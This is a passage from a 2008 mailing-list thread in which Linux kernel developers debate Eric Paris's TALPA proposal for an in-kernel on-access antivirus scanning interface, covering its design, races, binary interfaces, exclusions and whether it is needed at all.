> >     - open file RD
> >                           - open file WR
> >                           - write virus data (1)
> >     - read virus data
> 
> Wonderful, we are going to implement a solution that is known to not
> work, with a trivial way around it?
> 
> Sorry, that's not going to fly.

The model only makes claims about open and I want to be forthright with
its shortcomings.  It sounds rather unreasonable to think that every
time I want to read one bite from a file which is being concurrently
written by another process some virus scanner should have to reread and
validate the entire file.  I think as some point we have to accept the
fact that there is no feasible perfect solution (no you can't do write
time checking since circumventing that is as simple as splitting your
bad bits into two writes...)

> 
> > *note that any open after (1) will get properly vetted.  At this time
> > the likely hood of this being a problem vs the performance impact of
> > scanning on read and the increased complexity of the code means this is
> > left out.  This should not be a problem for local executables as writes
> > to files opened to be run typically return ETXTBSY.
> 
> Are you sure about this?

I'm willing to say that opens after (1) are going to be validated.  I am
not certain that all executables opened for write while they are being
executed return ETXTBSY (I do know it happens at least sometimes) so I'm
willing to drop that idea.

> > One of the most important filters in the evaluation chain implements an
> > interface through which an userspace process can register and receive
> > vetting requests. Userspace process opens a misc character device to
> > express its interest and then receives binary structures from that
> > device describing basic interception information. After file contents
> > have been scanned a vetting response is sent by writing a different
> > binary structure back to the device and the intercepted process
> > continues its execution.  These are not done over network sockets and no
> > endian conversions are done.  The client and the kernel must have the
> > same endian configuration.
> 
> How about the same 64/32bit requirement?  Your implementation is
> incorrect otherwise.

I'll definitely go back and look, but I think I use bit lengths for
everything in the communication channel so its only endian issues to
worry about.

> (hint, your current patch is also wrong in this area, you should fix
> that up...)

> And a binary structure?  Ick, are you trying to make it hard for future
> expansions and such?

As long as the requirement that the first 32 bits be a version it might
make ugly code but any future expansions are easy to deal with.  Read
from userspace, get the first 32 bits, cast the read from userspace to
the correct structure.  What would you suggest?

> 
> And why not netlink/network socket?  Why a character device?  You are
> already using securityfs, why not use a file node in there?

Opps, old description.  I do just use an inode in securityfs, not a misc
character device.  I'm not clear what netlink would buy here.  I might
be able to make my async close vetting code a little cleaner, but it
would make other things more complex (like registration and actually
having to track userspace clients)

> 
> > 6. Direct access to file content
> > --------------------------------
> > When an userspace daemon receives a vetting request, it also receives a
> > new RO file descriptor which provides direct access to the inode in
> > question. This is to enable access to the file regardless of it
> > accessibility from the scanner environment (consider process namespaces,
> > chroot's, NFS).  The userspace client is responsible for closing this
> > file when it is finished scanning.
> 
> Is this secondary file handle properly checked for the security issues
> involved with such a thing?  What happens if the userspace client does
> not close the file handle?

I'm not sure the security issues that you are refering too, do you mean
do we make LSM checks and regular DAC checks for the userspace client on
the file in question?  yes.

The userspace client is forced to respond to all fd's it is handed.  If
userspace decided to respond to a request but never close the file the
client will eventually run out of fds and I really should make sure I
have decent error handling for that case.  No real damage done aside
from extra references outstanding until the client program dies.  Much
the same way as any program that calls open on files it doesn't ever
close....

> 
> > 7. Other reporting
> > ------------------
> > Along with the fd being installed in the scanning process the process
> > gets a binary structure of data including: 
> 
> What's with the love of binary structures? :)

Its only the one structure (ok and the response)

include/linux/talpa.h

struct talpa_packet_client
struct talpa_packet_kernel

> > +       uint32_t version;
> > +       uint32_t type;
> > +       int32_t fd;
> > +       uint32_t operation;
> > +       uint32_t flags;
> > +       uint32_t mode;
> > +       uint32_t uid;
> > +       uint32_t gid;
> > +       uint32_t tgid;
> > +       uint32_t pid;
> 
> What happens when the world moves to 128bit or 64bit uids?  (yes, I've
> seen proposals for such a thing...)

The same things that happens to every other subsystem that uses uint32_t
to describe uid (like audit?)  It either gets truncated massive main
ensues...

> Why would userspace care about these meta-file things, what does it want
> with them?

Honstely?  I don't know.  Maybe someone with access to the black magic
source code will stand up and say if most of this metadata is important
and if so how.

> 
> > 8. Path name reporting
> > ----------------------
> > When a malicious content is detected in a file it is important to be
> > able to report its location so the user or system administrator can take
> > appropriate actions.
> > 
> > This is implemented in a amazingly simple way which will hopefully avoid
> > the controversy of some other solutions. Path name is only needed for
> > reporting purposes and it is obtained by reading the symlink of the
> > given file descriptor in /proc.  Its as simple as userspace calling:
> > 
> > snprintf(link, sizeof(link), "/proc/self/fd/%d", details.fd);
> > ret = readlink(link, buf, sizeof(buf)-1);
> 
> Cute hack.  What's to keep it from racing with the fd changing from the
> original program?

Not sure what you mean here.  On sys_open the original program is
blocking until the userspace client answers allow or deny.  Both the
original program fd and the fd that magically appeared in the client
point to the same dentry.  Names may move around but its going to be the
same 'name' for both of them.  I don't see a race here....

> 
> > 9. Process exclusion
> > --------------------
> > Sometimes it is necessary to exclude certain processes from being
> > intercepted. For example it might be a userspace root kit scanner which
> > would not be able to find root kits if access to them was blocked by the
> > on-access scanner.
> > 
> > To facilitate that we have created a special file a process can open and
> > register itself as excluded. A flag is then put into its kernel
> > structure (task_struct) which makes it excluded from scanning.
> > 
> > This implementation is very simple and provides greatest performance. In
> > the proposed implementation access to the exclusion device is controlled
> > though permissions on the device node which are not sufficient.  An LSM
> > call will need to be made for this type or access in a later patch.
> 
> Heh, so if you want to write a "virus" for Linux, just implement this
> flag.  What's to keep a "rogue" program from telling the kernel that all
> programs on the system are to be excluded?

Processes can only get this flag one of 2 ways.

1) register as a client to make access decisions
2) echo 1 into the magic file to enable the flag for themselves

A process can only set this flag on itself and having this flag only
means that your opens and closes will not be scanned.  And exculded
program could write a virus and it would not be caught on close, but it
would be caught on the next open.

> > 10. Filesystem exclusions
> > -------------------------
> > One pretty important optimization is not to scan things like /proc, /sys
> > or similar. Basically all filesystems where user can not store
> > arbitrary, potentially malicious, content could and should be excluded
> > from scanning.
> 
> Why, does scanning these files take extra time?  Just curious.

Perf win, why bothering looking for malware in /proc when it can't
exist?  It doesn't take longer it just takes time having to do

userspace -> kernel -> userspace -> kernel -> userspace

just to cat /proc/mounts, all of this could probably be alliviated if we
cached access on non block backed files but then we have to come up with
a way to exclude only nfs/cifs.  I'd rather list the FSs that don't need
scanning every time than those that do....

> 
> > 11. Path exclusions
> > -------------------
> > The need for exclusions can be demonstrated with an example of a MySQL
> > server. It's data files are frequently modified which means they would
> > need to be constantly rescanned which is very bad for performance. Also,
> > it is most often not even possible to reasonably scan them. Therefore
> > the best solution is not to scan its database store which can simply be
> > implemented by excluding the store subdirectory.
> > 
> > It is a relatively simple implementation which allows run-time
> > configuration of a list of sub directories or files to exclude.
> > Exclusion paths are relative to each process root. So for example if we
> > want to exclude /var/lib/mysql/ and we have a mysql running in a chroot
> > where from the outside that directory actually lives
> > in /chroot/mysql/var/lib/mysql, /var/lib/mysql should actually be added
> > to the exclusion list.
> > 
> > This is also not included in the initial patch set but will be coming
> > shortly after.
> 
> Again, what's to keep all files to be marked as excluded?

You have to be root and I'll probably add an LSM hook?

> > Closing remarks
> > ---------------
> > Although some may argue some of the filters are not necessary or may
> > better be implemented in userspace, we think it is better to have them
> > in kernel primarily for performance reasons.
> 
> Why?  What numbers do you have that say the kernel is faster in
> implementing this?  This is the first mention of such a requirement, we
> need to see real data to back it up please.

In kernel caching is clearly a huge perf win.  I couldn't even measure a
change in kernel build time when I didn't run a userspace client.  If
anyone can explain a way to get race free in kernel caching and out of
kernel redirection and scanning I'd love it   :)

I'll post numbers on perf in the next day or 2.

> > Secondly, it is all simple code not introducing much baggage or risk
> > into the kernel itself.
> 
> I disagree, see above.

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[Eric Paris]

On Mon, 2008-08-04 at 20:32 -0400, Eric Paris wrote:

> The model only makes claims about open and I want to be forthright with
> its shortcomings.  It sounds rather unreasonable to think that every
> time I want to read one bite from a file which is being concurrently
> written by another process some virus scanner should have to reread and
> validate the entire file.  I think as some point we have to accept the


Sorry, can't help but laugh at myself for typing "bite".

-Eric

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[Greg KH]

On Mon, Aug 04, 2008 at 08:32:54PM -0400, Eric Paris wrote:
> On Mon, 2008-08-04 at 15:32 -0700, Greg KH wrote:
> > On Mon, Aug 04, 2008 at 05:00:16PM -0400, Eric Paris wrote:
> > > Collated requirements
> > > +++++++++++++++++++++
> > >   1. Intercept file opens (exec also) for vetting (block until
> > >   decision is made) and allow some userspace black magic to make
> > >   decisions.
> > >   2. Intercept file closes for scanning post access
> > >   3. Cache scan results so the same file is not scanned on each and every access
> > >   4. Ability to flush the cache and cause all files to be re-scanned when accessed
> > >   5. Define which filesystems are cacheable and which are not
> > >   6. Scan files directly not relying on path.  Avoid races and problems with namespaces, chroot, containers, etc.
> > >   7. Report other relevant file, process and user information associated with each interception
> > >   8. Report file pathnames to userspace (relative to process root, current working directory)
> > >   9. Mark a processes as exempt from on access scanning
> > >  10. Exclude sub-trees from scanning based on filesystem (exclude procfs, sysfs, devfs)
> > >  11. Exclude sub-trees from scanning based on filesystem path
> > >  12. Include only certain sub-trees from scanning based on filesystem path
> > >  13. Register more than one userspace client in which case behavior is restrictive
> > 
> > I don't see anything in the list above that make this a requirement that
> > the code to do this be placed within the kernel.
> > 
> > What is wrong with doing it in glibc or some other system-wide library
> > (LD_PRELOAD hooks, etc.)?
> 
> It may be possible to do in glibc, LD_PRELOAD doesn't exactly work for
> suid binaries

Are suid binaries something that you feel is necessary to scan from?

I don't see it on the list above :)

> > > 1., 2. Basic interception
> > > -------------------------
> > > Core requirement is to intercept access to files and prevent it if
> > > malicious content is detected.  This is done on open, not on read.  It
> > > may be possible to do read time checking with minimal performance impact
> > > although not currently implemented.  This means that the following race
> > > is possible
> > > 
> > >    Process1              Process2
> > >     - open file RD
> > >                           - open file WR
> > >                           - write virus data (1)
> > >     - read virus data
> > 
> > Wonderful, we are going to implement a solution that is known to not
> > work, with a trivial way around it?
> > 
> > Sorry, that's not going to fly.
> 
> The model only makes claims about open and I want to be forthright with
> its shortcomings.  It sounds rather unreasonable to think that every
> time I want to read one bite from a file which is being concurrently
> written by another process some virus scanner should have to reread and
> validate the entire file.  I think as some point we have to accept the
> fact that there is no feasible perfect solution (no you can't do write
> time checking since circumventing that is as simple as splitting your
> bad bits into two writes...)

So, if this isn't really going to protect anything, how can anyone
justify adding it to the kernel?  I sure would not allow that.

> > > One of the most important filters in the evaluation chain implements an
> > > interface through which an userspace process can register and receive
> > > vetting requests. Userspace process opens a misc character device to
> > > express its interest and then receives binary structures from that
> > > device describing basic interception information. After file contents
> > > have been scanned a vetting response is sent by writing a different
> > > binary structure back to the device and the intercepted process
> > > continues its execution.  These are not done over network sockets and no
> > > endian conversions are done.  The client and the kernel must have the
> > > same endian configuration.
> > 
> > How about the same 64/32bit requirement?  Your implementation is
> > incorrect otherwise.
> 
> I'll definitely go back and look, but I think I use bit lengths for
> everything in the communication channel so its only endian issues to
> worry about.

No, your field definitions are incorrect.

You must use __u8 and friends for variables that cross the
userspace/kernel boundry.  None of the uint_* crap :)

> > (hint, your current patch is also wrong in this area, you should fix
> > that up...)
> 
> > And a binary structure?  Ick, are you trying to make it hard for future
> > expansions and such?
> 
> As long as the requirement that the first 32 bits be a version it might
> make ugly code but any future expansions are easy to deal with.  Read
> from userspace, get the first 32 bits, cast the read from userspace to
> the correct structure.  What would you suggest?

Not doing this in the kernel at all.

Seriously.

I mean it.

Oh, and after that, not using a binary interface, have we not learned
from the ioctl mess?  I sure thought we had...

> > And why not netlink/network socket?  Why a character device?  You are
> > already using securityfs, why not use a file node in there?
> 
> Opps, old description.  I do just use an inode in securityfs, not a misc
> character device.  I'm not clear what netlink would buy here.  I might
> be able to make my async close vetting code a little cleaner, but it
> would make other things more complex (like registration and actually
> having to track userspace clients)

Why would the kernel have to worry about that?

> > > 6. Direct access to file content
> > > --------------------------------
> > > When an userspace daemon receives a vetting request, it also receives a
> > > new RO file descriptor which provides direct access to the inode in
> > > question. This is to enable access to the file regardless of it
> > > accessibility from the scanner environment (consider process namespaces,
> > > chroot's, NFS).  The userspace client is responsible for closing this
> > > file when it is finished scanning.
> > 
> > Is this secondary file handle properly checked for the security issues
> > involved with such a thing?  What happens if the userspace client does
> > not close the file handle?
> 
> I'm not sure the security issues that you are refering too, do you mean
> do we make LSM checks and regular DAC checks for the userspace client on
> the file in question?  yes.

Yes, that is what I was referring to.

> > > +       uint32_t version;
> > > +       uint32_t type;
> > > +       int32_t fd;
> > > +       uint32_t operation;
> > > +       uint32_t flags;
> > > +       uint32_t mode;
> > > +       uint32_t uid;
> > > +       uint32_t gid;
> > > +       uint32_t tgid;
> > > +       uint32_t pid;
> > 
> > What happens when the world moves to 128bit or 64bit uids?  (yes, I've
> > seen proposals for such a thing...)
> 
> The same things that happens to every other subsystem that uses uint32_t
> to describe uid (like audit?)  It either gets truncated massive main
> ensues...

audit passed the value in a binary structure from the kernel to
userspace?  Really?  Ick.

> > Why would userspace care about these meta-file things, what does it want
> > with them?
> 
> Honstely?  I don't know.  Maybe someone with access to the black magic
> source code will stand up and say if most of this metadata is important
> and if so how.

Don't add things that are not needed, _everything_ must be justified.

> > > 8. Path name reporting
> > > ----------------------
> > > When a malicious content is detected in a file it is important to be
> > > able to report its location so the user or system administrator can take
> > > appropriate actions.
> > > 
> > > This is implemented in a amazingly simple way which will hopefully avoid
> > > the controversy of some other solutions. Path name is only needed for
> > > reporting purposes and it is obtained by reading the symlink of the
> > > given file descriptor in /proc.  Its as simple as userspace calling:
> > > 
> > > snprintf(link, sizeof(link), "/proc/self/fd/%d", details.fd);
> > > ret = readlink(link, buf, sizeof(buf)-1);
> > 
> > Cute hack.  What's to keep it from racing with the fd changing from the
> > original program?
> 
> Not sure what you mean here.  On sys_open the original program is
> blocking until the userspace client answers allow or deny.  Both the
> original program fd and the fd that magically appeared in the client
> point to the same dentry.  Names may move around but its going to be the
> same 'name' for both of them.  I don't see a race here....

Oh, forgot about the fact that the code blocks.  That's probably a race
in itself :)

> > Heh, so if you want to write a "virus" for Linux, just implement this
> > flag.  What's to keep a "rogue" program from telling the kernel that all
> > programs on the system are to be excluded?
> 
> Processes can only get this flag one of 2 ways.
> 
> 1) register as a client to make access decisions

How do you do that?

> 2) echo 1 into the magic file to enable the flag for themselves

Simple enough :)

> > > 10. Filesystem exclusions
> > > -------------------------
> > > One pretty important optimization is not to scan things like /proc, /sys
> > > or similar. Basically all filesystems where user can not store
> > > arbitrary, potentially malicious, content could and should be excluded
> > > from scanning.
> > 
> > Why, does scanning these files take extra time?  Just curious.
> 
> Perf win, why bothering looking for malware in /proc when it can't
> exist?  It doesn't take longer it just takes time having to do
> 
> userspace -> kernel -> userspace -> kernel -> userspace
> 
> just to cat /proc/mounts, all of this could probably be alliviated if we
> cached access on non block backed files but then we have to come up with
> a way to exclude only nfs/cifs.  I'd rather list the FSs that don't need
> scanning every time than those that do....

How long does this whole process take?  Seriously is it worth the added
kernel code for something that is not measurable?

> > > 11. Path exclusions
> > > -------------------
> > > The need for exclusions can be demonstrated with an example of a MySQL
> > > server. It's data files are frequently modified which means they would
> > > need to be constantly rescanned which is very bad for performance. Also,
> > > it is most often not even possible to reasonably scan them. Therefore
> > > the best solution is not to scan its database store which can simply be
> > > implemented by excluding the store subdirectory.
> > > 
> > > It is a relatively simple implementation which allows run-time
> > > configuration of a list of sub directories or files to exclude.
> > > Exclusion paths are relative to each process root. So for example if we
> > > want to exclude /var/lib/mysql/ and we have a mysql running in a chroot
> > > where from the outside that directory actually lives
> > > in /chroot/mysql/var/lib/mysql, /var/lib/mysql should actually be added
> > > to the exclusion list.
> > > 
> > > This is also not included in the initial patch set but will be coming
> > > shortly after.
> > 
> > Again, what's to keep all files to be marked as excluded?
> 
> You have to be root and I'll probably add an LSM hook?

Why an LSM hook?  You aren't an LSM.

> > > Closing remarks
> > > ---------------
> > > Although some may argue some of the filters are not necessary or may
> > > better be implemented in userspace, we think it is better to have them
> > > in kernel primarily for performance reasons.
> > 
> > Why?  What numbers do you have that say the kernel is faster in
> > implementing this?  This is the first mention of such a requirement, we
> > need to see real data to back it up please.
> 
> In kernel caching is clearly a huge perf win.

Why?  If the cache is also in userspace, it should be the same, right?

> I couldn't even measure a change in kernel build time when I didn't
> run a userspace client.

And when you did run a foolish userspace client?

If you did it all in userspace, if the userspace code isn't being
called, the kernel build time should be the same as well :)

> If anyone can explain a way to get race free in kernel caching and out
> of kernel redirection and scanning I'd love it   :)

Again, do it all in userspace (caching, and scanning).  I still really
don't see the need to do this in the kernel becides it being "the way
people have always done it."

thanks,

greg k-h

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[Alan Cox]

> > It may be possible to do in glibc, LD_PRELOAD doesn't exactly work for
> > suid binaries
> 
> Are suid binaries something that you feel is necessary to scan from?
> 
> I don't see it on the list above :)

Doesn't work very well really does it - ld.so loads files too and can be
attacked.

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[Greg KH]

On Tue, Aug 05, 2008 at 12:23:28PM +0100, Alan Cox wrote:
> > > It may be possible to do in glibc, LD_PRELOAD doesn't exactly work for
> > > suid binaries
> > 
> > Are suid binaries something that you feel is necessary to scan from?
> > 
> > I don't see it on the list above :)
> 
> Doesn't work very well really does it - ld.so loads files too and can be
> attacked.

But that's an "attack" vector, which virus scanners are not addressing.
They are going for the "is this file corrupted" type issue.  The
"normal" LSM interface is for malware itself, taking control of a
system.

thanks,

greg k-h

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[Eric Paris]

On Tue, 2008-08-05 at 10:03 -0700, Greg KH wrote:
> On Tue, Aug 05, 2008 at 12:23:28PM +0100, Alan Cox wrote:
> > > > It may be possible to do in glibc, LD_PRELOAD doesn't exactly work for
> > > > suid binaries
> > > 
> > > Are suid binaries something that you feel is necessary to scan from?
> > > 
> > > I don't see it on the list above :)
> > 
> > Doesn't work very well really does it - ld.so loads files too and can be
> > attacked.
> 
> But that's an "attack" vector, which virus scanners are not addressing.
> They are going for the "is this file corrupted" type issue.  The
> "normal" LSM interface is for malware itself, taking control of a
> system.

So you are arguing against the defense in depth theory?  LSM should
solve it all so why bother?

I don't think that anyone is claiming that they don't address that
vector.  They may not be perfect but they are infinitely better than the
zero protection we offer today.  Clearly in the enterprise world the
most useful purpose of these scanners is looking at inflight data
crossing valid safe non-hacked linux processes, but the implementation I
have given is such that we can start doing some validation on our own
executables.  Remember the requirement wasn't just to scan data, it was
to scan everything that gets opened.

As an example of the usefulness of this approach as opposed to the
LD_PRELOAD/glibc approach is that I could be used to minimize the impact
of things like the recently much touted discussion about malicious
repository mirrors.  Although clearly there were some flaws in the
common conception of the problem, the ability to trick users into
downloading and installing trojaned libraries is not something we can
presently protect against with any mechanism.

Lets assume that the black magic in userspace was able to spot a
trojaned library running programs which would still be linked to the old
files on disk would continue to work but you would very quickly find out
there was trouble when everything that tried to open its shared library
was getting EPERM.  Yes, yes, even I can think of ways around it (bad
repo sends bad kernel first and waits until the machine is running the
bad kernel to disable scanning) but by that time they already won.  And
its possible that the userspace scanning could/would spot the trojaned
kernel and report on it during install time.


I'm going to run perf test this afternoon but I'm going to have to look
for a test that is a good mix of reads,writes, and opens.  I strongly
suspect that there will be a noticable perf lose in any other method
that doesn't include in kernel caching.  (how can there not be with an
extra context switch for every open?)

-Eric

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[Greg KH]

On Tue, Aug 05, 2008 at 02:56:42PM -0400, Eric Paris wrote:
> On Tue, 2008-08-05 at 10:03 -0700, Greg KH wrote:
> > On Tue, Aug 05, 2008 at 12:23:28PM +0100, Alan Cox wrote:
> > > > > It may be possible to do in glibc, LD_PRELOAD doesn't exactly work for
> > > > > suid binaries
> > > > 
> > > > Are suid binaries something that you feel is necessary to scan from?
> > > > 
> > > > I don't see it on the list above :)
> > > 
> > > Doesn't work very well really does it - ld.so loads files too and can be
> > > attacked.
> > 
> > But that's an "attack" vector, which virus scanners are not addressing.
> > They are going for the "is this file corrupted" type issue.  The
> > "normal" LSM interface is for malware itself, taking control of a
> > system.
> 
> So you are arguing against the defense in depth theory?  LSM should
> solve it all so why bother?

No, I am saying I have yet to see a real requirement to justify that
this code goes into the kernel.

Your list shows no such requirement, in fact it overlaps with some
things that LSM already provides.  So why not just make it an LSM and be
done with it?

Oh wait, this is a commercial add-on for vendor kernels that already
have an LSM built in, that will not work.

Is that really the community's issue?  :)

> I don't think that anyone is claiming that they don't address that
> vector.  They may not be perfect but they are infinitely better than the
> zero protection we offer today.  Clearly in the enterprise world the
> most useful purpose of these scanners is looking at inflight data
> crossing valid safe non-hacked linux processes, but the implementation I
> have given is such that we can start doing some validation on our own
> executables.  Remember the requirement wasn't just to scan data, it was
> to scan everything that gets opened.

/me points at a fixed inotify.

> As an example of the usefulness of this approach as opposed to the
> LD_PRELOAD/glibc approach is that I could be used to minimize the impact
> of things like the recently much touted discussion about malicious
> repository mirrors.  Although clearly there were some flaws in the
> common conception of the problem, the ability to trick users into
> downloading and installing trojaned libraries is not something we can
> presently protect against with any mechanism.

Exactly, so don't try to bring it up when it does not even pertain here.

> Lets assume that the black magic in userspace was able to spot a
> trojaned library running programs which would still be linked to the old
> files on disk would continue to work but you would very quickly find out
> there was trouble when everything that tried to open its shared library
> was getting EPERM.

But that's not what virus scanners on Linux do!  So again, don't bring
up things that are outside the threat model!

> I'm going to run perf test this afternoon but I'm going to have to look
> for a test that is a good mix of reads,writes, and opens.  I strongly
> suspect that there will be a noticable perf lose in any other method
> that doesn't include in kernel caching.  (how can there not be with an
> extra context switch for every open?)

See my earlier comments about this.

thanks,

greg k-h

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[Eric Paris]

On Tue, 2008-08-05 at 13:30 -0700, Greg KH wrote:
> On Tue, Aug 05, 2008 at 02:56:42PM -0400, Eric Paris wrote:

> > So you are arguing against the defense in depth theory?  LSM should
> > solve it all so why bother?
> 
> No, I am saying I have yet to see a real requirement to justify that
> this code goes into the kernel.

While I try to get someone to talk to me, lets consider even the most
simplistic threat model.  I'm not stating that this is the only threat
that vendors wish to protect against, but I think we can all agree it is
a meaningful threat.  Trying to get the AV vendors to talk about their
products actual uses is like pulling teeth.

This simple thread shows what I believe to be clear and compelling
evidence of the need for an in kernel solution.  Lets just consider that
we are a high input, high output, NFS file server with other OS's
mounting this NFS share RW.

Our goal is to stop, or at least reduce the throughput (I clearly
document and accept the open to read race, and until we get a working
revoke I don't see that changing) of malware across the NFS server.
This data will not be attacking the NFS server.  We wish to slow and
hopefully halt the spread of this data with minimal impact to the NFS
server.

Since the NFS server interacts directly with the VFS no purely userspace
solution is possible.  I certainly hope noone tells me we should hook
directly into nfsd and do everything else in userspace   :)

The purpose of this e-mail is not to ask others to find 'the perfect
solution for this one example' but merely to holp move away from the
ideas that this can be done in GLIBC or in LD_PRELOAD.

Maybe my code is all crap, I'm more than willing to accept that, it
wouldn't be the first time, but I do see the open on the NFS server and
I could do "something" with that file on the server.  I can continue to
define lots of other threats that my interface is useful for (even if
Greg dismissed one of them out of hand) but right now I'm trying to get
all of the AV vendors to define what it is they do (and I think we all
know they will claim to do exactly this)

-Eric

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[Theodore Tso]

On Wed, Aug 06, 2008 at 02:49:57PM -0400, Eric Paris wrote:
> 
> This simple thread shows what I believe to be clear and compelling
> evidence of the need for an in kernel solution.  Lets just consider that
> we are a high input, high output, NFS file server with other OS's
> mounting this NFS share RW.
> 
> Our goal is to stop, or at least reduce the throughput (I clearly
> document and accept the open to read race, and until we get a working
> revoke I don't see that changing) of malware across the NFS server.
> This data will not be attacking the NFS server.  We wish to slow and
> hopefully halt the spread of this data with minimal impact to the NFS
> server.

In this scenario, are you positing that you are worried about Windows
malware, or Linux malware?  What OS are the clients running?  I will
note that Windows has such a sucky NFS implementation that nearly all
Widows clients will be running CIFS/SMB, not NFS --- so the right
solution there is to integrate the virus checking with Samba ---
especially since the one AV vendor has already admitted the actual
virus signature checking has to be done in userspace.

For Linux clients, one question that immediately rises is the
end-to-end argument.  Wouldn't be far better to run whatever security
solution on the client?  After all, a Virus checking on an NFS server
isn't going to help the user if they accidentally track in the virus
on a USB stick.  (Especially if it is an infected Macro virus in an
office document.)  

							- Ted

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[Eric Paris]

On Wed, 2008-08-06 at 17:02 -0400, Theodore Tso wrote:
> On Wed, Aug 06, 2008 at 02:49:57PM -0400, Eric Paris wrote:
> > 
> > This simple thread shows what I believe to be clear and compelling
> > evidence of the need for an in kernel solution.  Lets just consider that
> > we are a high input, high output, NFS file server with other OS's
> > mounting this NFS share RW.
> > 
> > Our goal is to stop, or at least reduce the throughput (I clearly
> > document and accept the open to read race, and until we get a working
> > revoke I don't see that changing) of malware across the NFS server.
> > This data will not be attacking the NFS server.  We wish to slow and
> > hopefully halt the spread of this data with minimal impact to the NFS
> > server.
> 
> In this scenario, are you positing that you are worried about Windows
> malware, or Linux malware?  What OS are the clients running?  I will
> note that Windows has such a sucky NFS implementation that nearly all
> Widows clients will be running CIFS/SMB, not NFS

I believe I specifically did not make any such claims at all about the
client OS and merely claimed the intended target was not the linux NFS
server.  I didn't make those claims because they are irrelevant and so
that people could not jump on those details and try to offload the
solution to the wrong place.  Maybe the client is not Windows but
another large desktop OS who actually has a reasonable NFS client?  How
do you turn this into a straw man argument then?  Remember, I'm not
claiming that my solution for the entirety of the threads that AV
vendors claim to want to protect again, I simply claim that a
GLIBC/LD_PRELOAD solution is easily shown to be infeasible for even the
most elementary of threats.

> --- so the right
> solution there is to integrate the virus checking with Samba ---
> especially since the one AV vendor has already admitted the actual
> virus signature checking has to be done in userspace.

<snide> I believe they all are going to claim it has to be in some
userspace proprietary application for them to keep making money </snide>

> For Linux clients, one question that immediately rises is the
> end-to-end argument.  Wouldn't be far better to run whatever security
> solution on the client?  After all, a Virus checking on an NFS server
> isn't going to help the user if they accidentally track in the virus
> on a USB stick.  (Especially if it is an infected Macro virus in an
> office document.)

Your argument is irrelevant for the threat given and you seem to have
contorted the actual point of the statements to fit something else.  But
I'm sure you a fan of multiple layers of security that you don't
actually believe that "just check on the clients" is the right thing to
do.  Linux client side checking is most likely going to be something
that vendors claim to want to do but has no bearing on if out of kernel
scanning is feasible for NFS servers.  Nor if you want to look at the
"end-to-end argument" as you claim can excluding server side scanning be
a reasonable choice.

How many clients machines at your location are controlled by some IT
organization?  How many servers?  I think it's quite obvious that unless
the answer to the first question is "all" then we would want scanning on
both the client and the server.  I think there are many organizations in
which many, or even most, machines with access to an NFS server can be
controlled so as to enforce scanning, but its not reasonable, at least
in my mind, to throw out server side NFS scanning unless you can control
ALL of the clients.

-Eric

-Eric

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[Theodore Tso]

On Wed, Aug 06, 2008 at 05:28:01PM -0400, Eric Paris wrote:
> > In this scenario, are you positing that you are worried about Windows
> > malware, or Linux malware?  What OS are the clients running?  I will
> > note that Windows has such a sucky NFS implementation that nearly all
> > Widows clients will be running CIFS/SMB, not NFS
> 
> I believe I specifically did not make any such claims at all about the
> client OS and merely claimed the intended target was not the linux NFS
> server.

I know you didn't say; that's why I asked.  :-)

I dispute your assertion that this quesiton is irrelevant.  It's
highly relevant, because if it's Windows clients, they ***won't*** be
using NFS.

As for other large desktop OS's, that would be MacOS and Linux;
anything else?  And the big, huge, vast difference between Windows and
MacOS/Linux is that with Windows, in practice people ran with
Administrator privileges because most applications (including at one
point Microsoft Visual Studio :-) died and/or completely refused to
install if you didn't have Administrator privileges.  So people very
regularly ran with Root privs.  With Vista, you no longer run with
root privileges by default --- instead, applications still assume they
have Administrator privileges, causing the Really Annoying Popup boxes
to pop up each time the application needs to do something that require
privileges --- which has trained users to mindlessly click "OK" each
time the Annoying Popup Box comes up.

Given that MacOS and Linux don't have these flaws with respect to
applications regularly expecting root privileges, will you admit that
perhaps some of the extreme scanning tactics that were required by
AntiVirus vendors might be not as necessary for "other desktops"?

Asking the question is important because if they are spending all of
their time on Windows virii, then your "elementary threat" is really
an "elementary strawman".  Or, at the very least, it's a low priority
effort, since the number of virii out in the field for Linux and MacOS
desktops is in the noise compared to Windows.  I know that it's
convenient for AV vendors to claim in their marketing literature that
this is only because Windows is more popular, but while that might be
part of it, it is also true that there are significant, structural
differences between Windows and those other large desktop candidates.

> Your argument is irrelevant for the threat given and you seem to have
> contorted the actual point of the statements to fit something else.  But
> I'm sure you a fan of multiple layers of security that you don't
> actually believe that "just check on the clients" is the right thing to
> do.

Giving up my water bottles and having to take off my shoes at airport
security has been justified in the name of "multiple layers of
security".  No, I'm NOT a fan of mindlessly using "defense in depth"
as an excuse for arbitrary amounts of security and giving up arbitrary
amounts of my private data.  You need to prove to me that from a cost
benefit tradeoff it's really worth it.

   	       	    	    	     	  	 - Ted

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[Eric Paris]

On Wed, 2008-08-06 at 17:52 -0400, Theodore Tso wrote:
> On Wed, Aug 06, 2008 at 05:28:01PM -0400, Eric Paris wrote:
> > > In this scenario, are you positing that you are worried about Windows
> > > malware, or Linux malware?  What OS are the clients running?  I will
> > > note that Windows has such a sucky NFS implementation that nearly all
> > > Widows clients will be running CIFS/SMB, not NFS
> > 
> > I believe I specifically did not make any such claims at all about the
> > client OS and merely claimed the intended target was not the linux NFS
> > server.
> 
> I know you didn't say; that's why I asked.  :-)

We are sort of talking past each other here, but I really am listening.

[snip]

> Given that MacOS and Linux don't have these flaws with respect to
> applications regularly expecting root privileges, will you admit that
> perhaps some of the extreme scanning tactics that were required by
> AntiVirus vendors might be not as necessary for "other desktops"?

Absolutely, I think that our solution needs worry much less about an
actively attacking root process than Windows.  I think everyone on list
would tend to agree that our security model greatly helps in this
regard.  I think the problem quickly becomes intractable as soon as we
talk about a locally running actively attacking root process, which I
believe is what you are discussing.  I think that leaves 4 things

1) fileserver with no active attack on system
2) actively attacking non-root processes (run some process that tries to
screw people)
